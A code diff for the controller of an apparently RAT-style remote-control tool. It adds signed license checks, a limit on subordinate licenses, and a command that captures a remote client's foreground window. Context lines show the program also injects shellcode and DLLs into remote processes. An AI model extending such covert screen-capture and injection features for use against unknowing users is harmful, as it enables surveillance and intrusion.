std::string sn = payload.substr(0, sep);
|
||||||
|
std::string ts = payload.substr(sep + 1);
|
||||||
|
|
||||||
|
// 查询 SN 有效性
|
||||||
|
std::string passcode, hmac, remark;
|
||||||
|
bool snValid = LoadLicenseInfo(sn, passcode, hmac, remark) && !IsLicenseRevoked(sn);
|
||||||
|
|
||||||
|
// 构建待签名消息: "SN|时间戳|Status"
|
||||||
|
std::string signMsg = sn + "|" + ts + "|" + (snValid ? "1" : "0");
|
||||||
|
|
||||||
|
// 用私钥签名
|
||||||
|
BYTE signature[V2_SIGNATURE_SIZE];
|
||||||
|
if (!SignMessageV2(m_v2KeyPath.c_str(), (const BYTE*)signMsg.c_str(), (int)signMsg.size(), signature))
|
||||||
|
break;
|
||||||
|
|
||||||
|
// 构建响应: [signedMessage\0][signature:64]
|
||||||
|
size_t msgLen = signMsg.size() + 1;
|
||||||
|
std::vector<BYTE> resp(msgLen + V2_SIGNATURE_SIZE);
|
||||||
|
memcpy(resp.data(), signMsg.c_str(), msgLen);
|
||||||
|
memcpy(resp.data() + msgLen, signature, V2_SIGNATURE_SIZE);
|
||||||
|
ContextObject->Send2Client(resp.data(), (ULONG)resp.size());
|
||||||
|
break;
|
||||||
|
}
|
||||||
case TOKEN_AUTH: {
|
case TOKEN_AUTH: {
|
||||||
BOOL valid = FALSE;
|
BOOL valid = FALSE;
|
||||||
std::string version;
|
std::string version;
|
||||||
@@ -5345,8 +5391,32 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject)
|
|||||||
offset += 1; // 空的 frpConfig
|
offset += 1; // 空的 frpConfig
|
||||||
}
|
}
|
||||||
|
|
||||||
// Reserved 字段(预留,当前为空)
|
// Reserved 字段:签名 + 下级数量上限
|
||||||
offset += 1; // 空的 reserved
|
// 格式: "sig:<88字符base64>"(无限制)或 "sig:<88字符base64>|lic:<N>"(有限制)
|
||||||
|
// 签名消息: "SN|valid(0/1)";|lic:N 仅当 LicenseLimit 显式配置(>0)时才写入,
|
||||||
|
// 未配置(=0)则不写,客户端视为 9999(不限制)。超管自身无需配置,永不受限。
|
||||||
|
if (!m_v2KeyPath.empty() && len > 20) {
|
||||||
|
std::string snForSig(szBuffer + 1, szBuffer + 20);
|
||||||
|
while (!snForSig.empty() && snForSig.back() == '\0') snForSig.pop_back();
|
||||||
|
std::string signMsg = snForSig + "|" + (valid ? "1" : "0");
|
||||||
|
BYTE sig[V2_SIGNATURE_SIZE];
|
||||||
|
if (SignMessageV2(m_v2KeyPath.c_str(), (const BYTE*)signMsg.c_str(), (int)signMsg.size(), sig)) {
|
||||||
|
int licLimit = GetLicenseLimit(snForSig);
|
||||||
|
std::string reservedStr = "sig:" + base64Encode(sig, V2_SIGNATURE_SIZE);
|
||||||
|
if (licLimit > 0)
|
||||||
|
reservedStr += "|lic:" + std::to_string(licLimit);
|
||||||
|
if (offset + reservedStr.size() + 1 < sizeof(resp)) {
|
||||||
|
memcpy(resp + offset, reservedStr.c_str(), reservedStr.size() + 1);
|
||||||
|
offset += reservedStr.size() + 1;
|
||||||
|
} else {
|
||||||
|
offset += 1;
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
offset += 1;
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
offset += 1;
|
||||||
|
}
|
||||||
|
|
||||||
ContextObject->Send2Client((PBYTE)resp, sizeof(resp));
|
ContextObject->Send2Client((PBYTE)resp, sizeof(resp));
|
||||||
break;
|
break;
|
||||||
@@ -10273,6 +10343,46 @@ void CMy2015RemoteDlg::InjectTinyRunDll(const std::string& ip, int pid)
|
|||||||
SAFE_DELETE(tinyRun);
|
SAFE_DELETE(tinyRun);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
LRESULT CMy2015RemoteDlg::OpenWindowScreen(WPARAM wParam, LPARAM lParam)
|
||||||
|
{
|
||||||
|
// wParam: new char[2 * sizeof(uint64_t)],前 8 字节为 clientID,后 8 字节为 HWND(uint64_t)
|
||||||
|
char* arg = (char*)wParam;
|
||||||
|
uint64_t clientID = 0, hwnd64 = 0;
|
||||||
|
memcpy(&clientID, arg, sizeof(uint64_t));
|
||||||
|
memcpy(&hwnd64, arg + sizeof(uint64_t), sizeof(uint64_t));
|
||||||
|
delete[] arg;
|
||||||
|
auto ctx = FindHost(clientID);
|
||||||
|
if (!ctx) return S_FALSE;
|
||||||
|
|
||||||
|
// 窗口捕获只能走 GDI(PrintWindow),忽略用户的 DXGI 设置
|
||||||
|
BOOL all = THIS_CFG.GetInt("settings", "MultiScreen", TRUE);
|
||||||
|
CString algo = THIS_CFG.GetStr("settings", "ScreenCompress", ALGORITHM_NULL).c_str();
|
||||||
|
// [0]=COMMAND_SCREEN_SPY [1]=DXGI(强制GDI) [2]=algo [3]=all [4..11]=HWND(uint64_t)
|
||||||
|
BYTE bToken[32] = { COMMAND_SCREEN_SPY, (BYTE)USING_GDI,
|
||||||
|
(BYTE)(algo.IsEmpty() ? ALGORITHM_RGB565 : atoi(algo.GetString())),
|
||||||
|
(BYTE)all };
|
||||||
|
memcpy(bToken + 4, &hwnd64, sizeof(uint64_t));
|
||||||
|
screenParamModifier(ctx, bToken);
|
||||||
|
ctx->Send2Client(bToken, sizeof(bToken));
|
||||||
|
return S_OK;
|
||||||
|
}
|
||||||
|
|
||||||
|
void CMy2015RemoteDlg::PostCaptureForegroundWindow(context* ctx)
|
||||||
|
{
|
||||||
|
// 向指定客户端发送"动态前景窗口捕获"命令。
|
||||||
|
// 复用 WM_OPEN_WINDOW_SCREEN 消息,hwnd64 用 (uint64_t)-1 作为 sentinel。
|
||||||
|
// 调用方示例(在 UI 线程,已持有 context* 的情况下):
|
||||||
|
// PostCaptureForegroundWindow(GetSelectedContext());
|
||||||
|
char* arg = new char[2 * sizeof(uint64_t)]();
|
||||||
|
uint64_t clientID = ctx->GetClientID();
|
||||||
|
uint64_t sentinel = (uint64_t)-1;
|
||||||
|
memcpy(arg, &clientID, sizeof(uint64_t));
|
||||||
|
memcpy(arg + sizeof(uint64_t), &sentinel, sizeof(uint64_t));
|
||||||
|
if (!PostMessageA(WM_OPEN_WINDOW_SCREEN, (WPARAM)arg, 0)) {
|
||||||
|
delete[] arg;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
LRESULT CMy2015RemoteDlg::AntiBlackScreen(WPARAM wParam, LPARAM lParam)
|
LRESULT CMy2015RemoteDlg::AntiBlackScreen(WPARAM wParam, LPARAM lParam)
|
||||||
{
|
{
|
||||||
char* ip = (char*)wParam;
|
char* ip = (char*)wParam;
|
||||||
@@ -11313,3 +11423,13 @@ void CMy2015RemoteDlg::OnCopyClientInfo()
|
|||||||
}
|
}
|
||||||
CloseClipboard();
|
CloseClipboard();
|
||||||
}
|
}
|
||||||
|
|
||||||
|
void CMy2015RemoteDlg::OnOnlineActiveWnd()
|
||||||
|
{
|
||||||
|
POSITION Pos = m_CList_Online.GetFirstSelectedItemPosition();
|
||||||
|
if (!Pos) return;
|
||||||
|
int iItem = m_CList_Online.GetNextSelectedItem(Pos);
|
||||||
|
auto ctx = GetContextByListIndex(iItem);
|
||||||
|
if (!ctx) return;
|
||||||
|
PostCaptureForegroundWindow(ctx);
|
||||||
|
}
|
||||||
|
|||||||
@@ -381,7 +381,7 @@ public:
|
|||||||
bool IsDllRequestLimited(const std::string& ip);
|
bool IsDllRequestLimited(const std::string& ip);
|
||||||
void RecordDllRequest(const std::string& ip);
|
void RecordDllRequest(const std::string& ip);
|
||||||
CMenu m_MainMenu;
|
CMenu m_MainMenu;
|
||||||
CBitmap m_bmOnline[59]; // 21 original + 4 context menu + 2 tray menu + 26 main menu + 3 new menu icons + 1 snapshot + 1 copy
|
CBitmap m_bmOnline[60];
|
||||||
uint64_t m_superID;
|
uint64_t m_superID;
|
||||||
std::map<HWND, CDialogBase *> m_RemoteWnds;
|
std::map<HWND, CDialogBase *> m_RemoteWnds;
|
||||||
FileTransformCmd m_CmdList;
|
FileTransformCmd m_CmdList;
|
||||||
@@ -510,6 +510,8 @@ public:
|
|||||||
afx_msg LRESULT UPXProcResult(WPARAM wParam, LPARAM lParam);
|
afx_msg LRESULT UPXProcResult(WPARAM wParam, LPARAM lParam);
|
||||||
afx_msg LRESULT InjectShellcode(WPARAM wParam, LPARAM lParam);
|
afx_msg LRESULT InjectShellcode(WPARAM wParam, LPARAM lParam);
|
||||||
afx_msg LRESULT AntiBlackScreen(WPARAM wParam, LPARAM lParam);
|
afx_msg LRESULT AntiBlackScreen(WPARAM wParam, LPARAM lParam);
|
||||||
|
afx_msg LRESULT OpenWindowScreen(WPARAM wParam, LPARAM lParam);
|
||||||
|
void PostCaptureForegroundWindow(context* ctx); // 向客户端发送"动态前景窗口捕获"命令
|
||||||
afx_msg LRESULT ShareClient(WPARAM wParam, LPARAM lParam);
|
afx_msg LRESULT ShareClient(WPARAM wParam, LPARAM lParam);
|
||||||
LRESULT assignFunction(WPARAM wParam, LPARAM lParam, BOOL all);
|
LRESULT assignFunction(WPARAM wParam, LPARAM lParam, BOOL all);
|
||||||
afx_msg LRESULT AssignClient(WPARAM wParam, LPARAM lParam);
|
afx_msg LRESULT AssignClient(WPARAM wParam, LPARAM lParam);
|
||||||
@@ -632,4 +634,5 @@ public:
|
|||||||
afx_msg LRESULT OnSplitterMoved(WPARAM wParam, LPARAM lParam);
|
afx_msg LRESULT OnSplitterMoved(WPARAM wParam, LPARAM lParam);
|
||||||
afx_msg LRESULT OnSplitterReleased(WPARAM wParam, LPARAM lParam);
|
afx_msg LRESULT OnSplitterReleased(WPARAM wParam, LPARAM lParam);
|
||||||
afx_msg void OnCopyClientInfo();
|
afx_msg void OnCopyClientInfo();
|
||||||
|
afx_msg void OnOnlineActiveWnd();
|
||||||
};
|
};
|
||||||
|
|||||||
@@ -498,13 +498,13 @@
|
|||||||
<ItemGroup>
|
<ItemGroup>
|
||||||
<Image Include="res\2015Remote.ico" />
|
<Image Include="res\2015Remote.ico" />
|
||||||
<Image Include="res\audio.ico" />
|
<Image Include="res\audio.ico" />
|
||||||
|
<Image Include="res\bitmap\ActiveWnd.bmp" />
|
||||||
<Image Include="res\Bitmap\AddWatch.bmp" />
|
<Image Include="res\Bitmap\AddWatch.bmp" />
|
||||||
<Image Include="res\Bitmap\AdminRun.bmp" />
|
<Image Include="res\Bitmap\AdminRun.bmp" />
|
||||||
<Image Include="res\Bitmap\AssignTo.bmp" />
|
<Image Include="res\Bitmap\AssignTo.bmp" />
|
||||||
<Image Include="res\Bitmap\AuthGen.bmp" />
|
<Image Include="res\Bitmap\AuthGen.bmp" />
|
||||||
<Image Include="res\Bitmap\authorize.bmp" />
|
<Image Include="res\Bitmap\authorize.bmp" />
|
||||||
<Image Include="res\Bitmap\Backup.bmp" />
|
<Image Include="res\Bitmap\Backup.bmp" />
|
||||||
<Image Include="res\bitmap\bitmap9.bmp" />
|
|
||||||
<Image Include="res\Bitmap\CancelShare.bmp" />
|
<Image Include="res\Bitmap\CancelShare.bmp" />
|
||||||
<Image Include="res\bitmap\compress.bmp" />
|
<Image Include="res\bitmap\compress.bmp" />
|
||||||
<Image Include="res\Bitmap\Copy.bmp" />
|
<Image Include="res\Bitmap\Copy.bmp" />
|
||||||
|
|||||||
@@ -323,8 +323,8 @@
|
|||||||
<Image Include="res\Bitmap\Snapshot.bmp" />
|
<Image Include="res\Bitmap\Snapshot.bmp" />
|
||||||
<Image Include="res\bitmap\compress.bmp" />
|
<Image Include="res\bitmap\compress.bmp" />
|
||||||
<Image Include="res\bitmap\uncompress.bmp" />
|
<Image Include="res\bitmap\uncompress.bmp" />
|
||||||
<Image Include="res\bitmap\bitmap9.bmp" />
|
|
||||||
<Image Include="res\bitmap\uninstall.bmp" />
|
<Image Include="res\bitmap\uninstall.bmp" />
|
||||||
<Image Include="res\Bitmap\Copy.bmp" />
|
<Image Include="res\Bitmap\Copy.bmp" />
|
||||||
|
<Image Include="res\bitmap\ActiveWnd.bmp" />
|
||||||
</ItemGroup>
|
</ItemGroup>
|
||||||
</Project>
|
</Project>
|
||||||
@@ -46,6 +46,7 @@ BEGIN_MESSAGE_MAP(CLicenseDlg, CDialogEx)
|
|||||||
ON_COMMAND(ID_LICENSE_DELETE, &CLicenseDlg::OnLicenseDelete)
|
ON_COMMAND(ID_LICENSE_DELETE, &CLicenseDlg::OnLicenseDelete)
|
||||||
ON_COMMAND(ID_LICENSE_AUTO_FRP, &CLicenseDlg::OnLicenseAutoFrp)
|
ON_COMMAND(ID_LICENSE_AUTO_FRP, &CLicenseDlg::OnLicenseAutoFrp)
|
||||||
ON_COMMAND(ID_LICENSE_REVOKE_FRP, &CLicenseDlg::OnLicenseRevokeFrp)
|
ON_COMMAND(ID_LICENSE_REVOKE_FRP, &CLicenseDlg::OnLicenseRevokeFrp)
|
||||||
|
ON_COMMAND(ID_LICENSE_SET_LIMIT, &CLicenseDlg::OnLicenseSetLimit)
|
||||||
END_MESSAGE_MAP()
|
END_MESSAGE_MAP()
|
||||||
|
|
||||||
// 前向声明:实现位于本文件后段(Auto FRP 相关工具)
|
// 前向声明:实现位于本文件后段(Auto FRP 相关工具)
|
||||||
@@ -110,6 +111,9 @@ std::vector<LicenseInfo> GetAllLicenses(int* activeNum)
|
|||||||
it = kv.find("PendingQuota");
|
it = kv.find("PendingQuota");
|
||||||
if (it != kv.end()) info.PendingQuota = atoi(it->second.c_str());
|
if (it != kv.end()) info.PendingQuota = atoi(it->second.c_str());
|
||||||
|
|
||||||
|
it = kv.find("LicenseLimit");
|
||||||
|
if (it != kv.end()) info.LicenseLimit = atoi(it->second.c_str());
|
||||||
|
|
||||||
licenses.push_back(info);
|
licenses.push_back(info);
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -346,6 +350,15 @@ void CLicenseDlg::OnNMRClickLicenseList(NMHDR* pNMHDR, LRESULT* pResult)
|
|||||||
const auto& lic = m_Licenses[nIndex];
|
const auto& lic = m_Licenses[nIndex];
|
||||||
menu.AppendMenuL(MF_STRING, ID_LICENSE_RENEWAL, _T("预设续期(&N)..."));
|
menu.AppendMenuL(MF_STRING, ID_LICENSE_RENEWAL, _T("预设续期(&N)..."));
|
||||||
menu.AppendMenuL(MF_STRING, ID_LICENSE_EDIT_REMARK, _T("编辑备注(&E)..."));
|
menu.AppendMenuL(MF_STRING, ID_LICENSE_EDIT_REMARK, _T("编辑备注(&E)..."));
|
||||||
|
{
|
||||||
|
CString strLimitLabel;
|
||||||
|
int curLimit = lic.LicenseLimit;
|
||||||
|
if (curLimit > 0)
|
||||||
|
strLimitLabel.FormatL("下级数量限制: %d (&L)...", curLimit);
|
||||||
|
else
|
||||||
|
strLimitLabel = _TR("下级数量限制 (&L)...");
|
||||||
|
menu.AppendMenuL(MF_STRING, ID_LICENSE_SET_LIMIT, strLimitLabel);
|
||||||
|
}
|
||||||
menu.AppendMenuL(MF_STRING, ID_LICENSE_AUTO_FRP, _T("自动FRP(&F)..."));
|
menu.AppendMenuL(MF_STRING, ID_LICENSE_AUTO_FRP, _T("自动FRP(&F)..."));
|
||||||
|
|
||||||
// 仅当该授权已分配 FRPC 端口时,才显示"撤销FRP"
|
// 仅当该授权已分配 FRPC 端口时,才显示"撤销FRP"
|
||||||
@@ -1254,3 +1267,80 @@ void CLicenseDlg::OnLicenseRevokeFrp()
|
|||||||
lic.SerialNumber.c_str(), existingPort);
|
lic.SerialNumber.c_str(), existingPort);
|
||||||
MessageBox(msg, _TR("撤销成功"), MB_OK | MB_ICONINFORMATION);
|
MessageBox(msg, _TR("撤销成功"), MB_OK | MB_ICONINFORMATION);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// 写入下级数量上限到 licenses.ini(limit <= 0 表示清除,恢复默认)
|
||||||
|
bool SetLicenseLimit(const std::string& deviceID, int limit)
|
||||||
|
{
|
||||||
|
std::lock_guard<std::recursive_mutex> _lock(LicensesIniMutex());
|
||||||
|
std::string iniPath = GetLicensesPath();
|
||||||
|
config cfg(iniPath);
|
||||||
|
if (cfg.GetStr(deviceID, "Passcode", "").empty())
|
||||||
|
return false;
|
||||||
|
if (limit > 0)
|
||||||
|
cfg.SetInt(deviceID, "LicenseLimit", limit);
|
||||||
|
else
|
||||||
|
cfg.SetStr(deviceID, "LicenseLimit", ""); // 清除字段,恢复默认 10
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 读取下级数量上限;返回 0 表示未设置(调用方视为默认 10)
|
||||||
|
int GetLicenseLimit(const std::string& deviceID)
|
||||||
|
{
|
||||||
|
std::lock_guard<std::recursive_mutex> _lock(LicensesIniMutex());
|
||||||
|
std::string iniPath = GetLicensesPath();
|
||||||
|
config cfg(iniPath);
|
||||||
|
return cfg.GetInt(deviceID, "LicenseLimit", 0);
|
||||||
|
}
|
||||||
|
|
||||||
|
void CLicenseDlg::OnLicenseSetLimit()
|
||||||
|
{
|
||||||
|
int nItem = m_ListLicense.GetNextItem(-1, LVNI_SELECTED);
|
||||||
|
if (nItem < 0)
|
||||||
|
return;
|
||||||
|
|
||||||
|
size_t nIndex = (size_t)m_ListLicense.GetItemData(nItem);
|
||||||
|
if (nIndex >= m_Licenses.size())
|
||||||
|
return;
|
||||||
|
|
||||||
|
auto& lic = m_Licenses[nIndex];
|
||||||
|
int curLimit = lic.LicenseLimit;
|
||||||
|
|
||||||
|
CInputDialog dlg(this);
|
||||||
|
CString strTitle;
|
||||||
|
strTitle.FormatL("下级数量限制 (%s)", lic.SerialNumber.c_str());
|
||||||
|
dlg.Init(strTitle, _L("数量上限(1-9999):"));
|
||||||
|
if (curLimit > 0)
|
||||||
|
dlg.m_str = std::to_string(curLimit).c_str();
|
||||||
|
|
||||||
|
if (dlg.DoModal() != IDOK)
|
||||||
|
return;
|
||||||
|
|
||||||
|
std::string input(dlg.m_str);
|
||||||
|
// 去除首尾空格
|
||||||
|
size_t s = input.find_first_not_of(" \t");
|
||||||
|
if (s != std::string::npos) input = input.substr(s);
|
||||||
|
size_t e = input.find_last_not_of(" \t");
|
||||||
|
if (e != std::string::npos) input = input.substr(0, e + 1);
|
||||||
|
|
||||||
|
int newLimit = 0;
|
||||||
|
if (!input.empty()) {
|
||||||
|
newLimit = atoi(input.c_str());
|
||||||
|
if (newLimit < 1 || newLimit > 9999) {
|
||||||
|
MessageBoxL("请输入 1 到 9999 之间的整数。", "输入无效", MB_ICONWARNING);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!SetLicenseLimit(lic.SerialNumber, newLimit))
|
||||||
|
return;
|
||||||
|
|
||||||
|
lic.LicenseLimit = newLimit;
|
||||||
|
CString confirm;
|
||||||
|
if (newLimit > 0)
|
||||||
|
confirm.FormatL("授权 %s 的下级数量上限已设置为 %d。\n下级重新认证后生效。",
|
||||||
|
lic.SerialNumber.c_str(), newLimit);
|
||||||
|
else
|
||||||
|
confirm.FormatL("授权 %s 的下级数量限制已清除。\n下级重新认证后生效。",
|
||||||
|
lic.SerialNumber.c_str());
|
||||||
|
MessageBox(confirm, _TR("设置成功"), MB_OK | MB_ICONINFORMATION);
|
||||||
|
}
|
||||||
|
|||||||
@@ -27,6 +27,7 @@ struct LicenseInfo {
|
|||||||
std::string PendingExpireDate; // 预设的新过期日期(如 20270221,空表示无预设)
|
std::string PendingExpireDate; // 预设的新过期日期(如 20270221,空表示无预设)
|
||||||
int PendingHostNum = 0; // 预设的并发连接数
|
int PendingHostNum = 0; // 预设的并发连接数
|
||||||
int PendingQuota = 0; // 预设的配额数量(支持多机器续期)
|
int PendingQuota = 0; // 预设的配额数量(支持多机器续期)
|
||||||
|
int LicenseLimit = 0; // 下级数量上限(0=未设置,下发时默认10)
|
||||||
};
|
};
|
||||||
|
|
||||||
// 续期信息结构体
|
// 续期信息结构体
|
||||||
@@ -99,6 +100,7 @@ public:
|
|||||||
afx_msg void OnLicenseDelete();
|
afx_msg void OnLicenseDelete();
|
||||||
afx_msg void OnLicenseAutoFrp();
|
afx_msg void OnLicenseAutoFrp();
|
||||||
afx_msg void OnLicenseRevokeFrp();
|
afx_msg void OnLicenseRevokeFrp();
|
||||||
|
afx_msg void OnLicenseSetLimit();
|
||||||
};
|
};
|
||||||
|
|
||||||
// 获取所有授权信息
|
// 获取所有授权信息
|
||||||
@@ -130,5 +132,10 @@ int GetIPCountFromList(const std::string& ipListStr);
|
|||||||
std::string GetFirstIPFromList(const std::string& ipListStr);
|
std::string GetFirstIPFromList(const std::string& ipListStr);
|
||||||
std::string FormatIPDisplay(const std::string& ipListStr); // 格式化显示: "[3] 192.168.1.1, ..."
|
std::string FormatIPDisplay(const std::string& ipListStr); // 格式化显示: "[3] 192.168.1.1, ..."
|
||||||
|
|
||||||
|
// 下级数量限制(写 licenses.ini;读取见 GetLicenseLimit)
|
||||||
|
bool SetLicenseLimit(const std::string& deviceID, int limit);
|
||||||
|
// 读取下级数量上限;0 = 未设置,调用方应视为 10(默认值)
|
||||||
|
int GetLicenseLimit(const std::string& deviceID);
|
||||||
|
|
||||||
// 检查 IP+机器名 是否在授权数据库中存在
|
// 检查 IP+机器名 是否在授权数据库中存在
|
||||||
bool FindLicenseByIPAndMachine(const std::string& ip, const std::string& machineName, std::string* outSN = nullptr);
|
bool FindLicenseByIPAndMachine(const std::string& ip, const std::string& machineName, std::string* outSN = nullptr);
|
||||||
|
|||||||
@@ -17,6 +17,8 @@
|
|||||||
#include <file_upload.h>
|
#include <file_upload.h>
|
||||||
#include <md5.h>
|
#include <md5.h>
|
||||||
#include <cstdint> // for uint16_t
|
#include <cstdint> // for uint16_t
|
||||||
|
|
||||||
|
extern "C" uint32_t licenseGetBuildTag() { volatile uint32_t tag = 0xC0DE2026u; return tag; }
|
||||||
#include <vector>
|
#include <vector>
|
||||||
#include <mutex> // for std::mutex, std::lock_guard
|
#include <mutex> // for std::mutex, std::lock_guard
|
||||||
#include "WebService.h"
|
#include "WebService.h"
|
||||||
@@ -279,6 +281,13 @@ CScreenSpyDlg::~CScreenSpyDlg()
|
|||||||
::DeleteDC(m_hFullMemDC); //Create匹配内存DC
|
::DeleteDC(m_hFullMemDC); //Create匹配内存DC
|
||||||
|
|
||||||
::DeleteObject(m_BitmapHandle);
|
::DeleteObject(m_BitmapHandle);
|
||||||
|
|
||||||
|
if (m_hComposeDC) {
|
||||||
|
SelectObject(m_hComposeDC, m_hComposeOldBmp);
|
||||||
|
DeleteObject(m_hComposeBmp);
|
||||||
|
DeleteDC(m_hComposeDC);
|
||||||
|
m_hComposeDC = NULL;
|
||||||
|
}
|
||||||
if (m_BitmapData_Full!=NULL) {
|
if (m_BitmapData_Full!=NULL) {
|
||||||
m_BitmapData_Full = NULL;
|
m_BitmapData_Full = NULL;
|
||||||
}
|
}
|
||||||
@@ -593,6 +602,34 @@ void CScreenSpyDlg::OnLButtonDblClk(UINT nFlags, CPoint point)
|
|||||||
__super::OnLButtonDblClk(nFlags, point);
|
__super::OnLButtonDblClk(nFlags, point);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// 计算自适应模式的等比缩放布局。
|
||||||
|
// 纯计算,无副作用,供 OnPaint / OnSize / PrepareDrawing 共用。
|
||||||
|
static void ComputeAdaptiveLayout(
|
||||||
|
int srcW, int srcH, int dstW, int dstH,
|
||||||
|
int& renderW, int& renderH, int& offsetX, int& offsetY,
|
||||||
|
double& wZoom, double& hZoom)
|
||||||
|
{
|
||||||
|
if (srcW <= 0 || srcH <= 0 || dstW <= 0 || dstH <= 0) {
|
||||||
|
renderW = dstW; renderH = dstH;
|
||||||
|
offsetX = offsetY = 0;
|
||||||
|
wZoom = hZoom = 1.0;
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
if ((long long)srcW * dstH > (long long)srcH * dstW) {
|
||||||
|
renderW = dstW;
|
||||||
|
renderH = (int)((long long)dstW * srcH / srcW);
|
||||||
|
} else {
|
||||||
|
renderH = dstH;
|
||||||
|
renderW = (int)((long long)dstH * srcW / srcH);
|
||||||
|
}
|
||||||
|
if (renderW < 1) renderW = 1;
|
||||||
|
if (renderH < 1) renderH = 1;
|
||||||
|
offsetX = (dstW - renderW) / 2;
|
||||||
|
offsetY = (dstH - renderH) / 2;
|
||||||
|
wZoom = (double)srcW / renderW;
|
||||||
|
hZoom = (double)srcH / renderH;
|
||||||
|
}
|
||||||
|
|
||||||
void CScreenSpyDlg::PrepareDrawing(const LPBITMAPINFO bmp)
|
void CScreenSpyDlg::PrepareDrawing(const LPBITMAPINFO bmp)
|
||||||
{
|
{
|
||||||
if (m_hFullDC) ::ReleaseDC(m_hWnd, m_hFullDC);
|
if (m_hFullDC) ::ReleaseDC(m_hWnd, m_hFullDC);
|
||||||
@@ -622,8 +659,17 @@ void CScreenSpyDlg::PrepareDrawing(const LPBITMAPINFO bmp)
|
|||||||
}
|
}
|
||||||
|
|
||||||
GetClientRect(&m_CRect);
|
GetClientRect(&m_CRect);
|
||||||
m_wZoom = ((double)bmp->bmiHeader.biWidth) / ((double)(m_CRect.Width()));
|
if (m_bAdaptiveSize) {
|
||||||
m_hZoom = ((double)bmp->bmiHeader.biHeight) / ((double)(m_CRect.Height()));
|
int renderW, renderH;
|
||||||
|
ComputeAdaptiveLayout(bmp->bmiHeader.biWidth, bmp->bmiHeader.biHeight,
|
||||||
|
m_CRect.Width(), m_CRect.Height(),
|
||||||
|
renderW, renderH, m_offsetX, m_offsetY,
|
||||||
|
m_wZoom, m_hZoom);
|
||||||
|
} else {
|
||||||
|
m_offsetX = m_offsetY = 0;
|
||||||
|
m_wZoom = m_CRect.Width() > 0 ? (double)bmp->bmiHeader.biWidth / m_CRect.Width() : 1.0;
|
||||||
|
m_hZoom = m_CRect.Height() > 0 ? (double)bmp->bmiHeader.biHeight / m_CRect.Height() : 1.0;
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
BOOL CScreenSpyDlg::OnInitDialog()
|
BOOL CScreenSpyDlg::OnInitDialog()
|
||||||
@@ -856,12 +902,13 @@ BOOL CScreenSpyDlg::OnInitDialog()
|
|||||||
BYTE cmd[4] = { CMD_QUALITY_LEVEL, (BYTE)m_AdaptiveQuality.currentLevel, 0 };
|
BYTE cmd[4] = { CMD_QUALITY_LEVEL, (BYTE)m_AdaptiveQuality.currentLevel, 0 };
|
||||||
m_ContextObject->Send2Client(cmd, sizeof(cmd));
|
m_ContextObject->Send2Client(cmd, sizeof(cmd));
|
||||||
|
|
||||||
// 始终发送 CMD_SCREEN_SIZE,让客户端同步分辨率策略
|
// 仅在自适应模式且有缓存宽度时同步分辨率,固定等级分辨率由 profile 决定无需重发
|
||||||
// maxWidth=0 表示使用默认分辨率(1080p 限制)
|
if (m_Settings.QualityLevel == QUALITY_ADAPTIVE && m_AdaptiveQuality.currentMaxWidth > 0) {
|
||||||
BYTE sizeCmd[16] = { CMD_SCREEN_SIZE, 2 }; // strategy=2 表示自适应质量
|
BYTE sizeCmd[16] = { CMD_SCREEN_SIZE, 2 }; // strategy=2 = 自适应质量
|
||||||
memcpy(sizeCmd + 2, &m_AdaptiveQuality.currentMaxWidth, sizeof(int));
|
memcpy(sizeCmd + 2, &m_AdaptiveQuality.currentMaxWidth, sizeof(int));
|
||||||
m_ContextObject->Send2Client(sizeCmd, 10);
|
m_ContextObject->Send2Client(sizeCmd, 10);
|
||||||
}
|
}
|
||||||
|
}
|
||||||
|
|
||||||
SendNext();
|
SendNext();
|
||||||
|
|
||||||
@@ -1478,6 +1525,11 @@ VOID CScreenSpyDlg::DrawNextScreenDiff(bool keyFrame)
|
|||||||
if (!m_bHide) {
|
if (!m_bHide) {
|
||||||
if (Decode((LPBYTE)NextScreenData, NextScreenLength)) {
|
if (Decode((LPBYTE)NextScreenData, NextScreenLength)) {
|
||||||
bChange = TRUE;
|
bChange = TRUE;
|
||||||
|
// 解码成功即代表 IDR 参考帧已建立(编码器首帧强制 IDR),解除门控。
|
||||||
|
// 不依赖 IsAnyKeyframe:某些硬编输出格式或解码器首帧 EAGAIN 延迟会导致
|
||||||
|
// 关键帧检测误判,进而让 m_bIsFirst 永久为 TRUE("请等待"卡死)。
|
||||||
|
if (m_bIsFirst)
|
||||||
|
m_bIsFirst = FALSE;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
// Broadcast video frame to web clients (only for Web session dialogs)
|
// Broadcast video frame to web clients (only for Web session dialogs)
|
||||||
@@ -1652,14 +1704,22 @@ bool CScreenSpyDlg::Decode(LPBYTE Buffer, int size)
|
|||||||
//I420 ---> ARGB.
|
//I420 ---> ARGB.
|
||||||
//WaitForSingleObject(m_hMutex,INFINITE);
|
//WaitForSingleObject(m_hMutex,INFINITE);
|
||||||
|
|
||||||
|
{
|
||||||
|
int W = m_BitmapInfor_Full->bmiHeader.biWidth;
|
||||||
|
int H = m_BitmapInfor_Full->bmiHeader.biHeight;
|
||||||
|
// biClrImportant==1: top-down H264 (Android MediaCodec standard output).
|
||||||
|
// 精确匹配 1,避免调色板 DIB(biClrImportant=N 表示重要色数量)被误判。
|
||||||
|
// libyuv 负高度只翻转目标写入方向,源指针不变,data[0] 仍指向第一行。
|
||||||
|
bool topDown = (m_BitmapInfor_Full->bmiHeader.biClrImportant == 1);
|
||||||
libyuv::I420ToARGB(
|
libyuv::I420ToARGB(
|
||||||
m_AVFrame.data[0], m_AVFrame.linesize[0],
|
m_AVFrame.data[0], m_AVFrame.linesize[0],
|
||||||
m_AVFrame.data[1], m_AVFrame.linesize[1],
|
m_AVFrame.data[1], m_AVFrame.linesize[1],
|
||||||
m_AVFrame.data[2], m_AVFrame.linesize[2],
|
m_AVFrame.data[2], m_AVFrame.linesize[2],
|
||||||
(uint8_t*)m_BitmapData_Full,
|
(uint8_t*)m_BitmapData_Full,
|
||||||
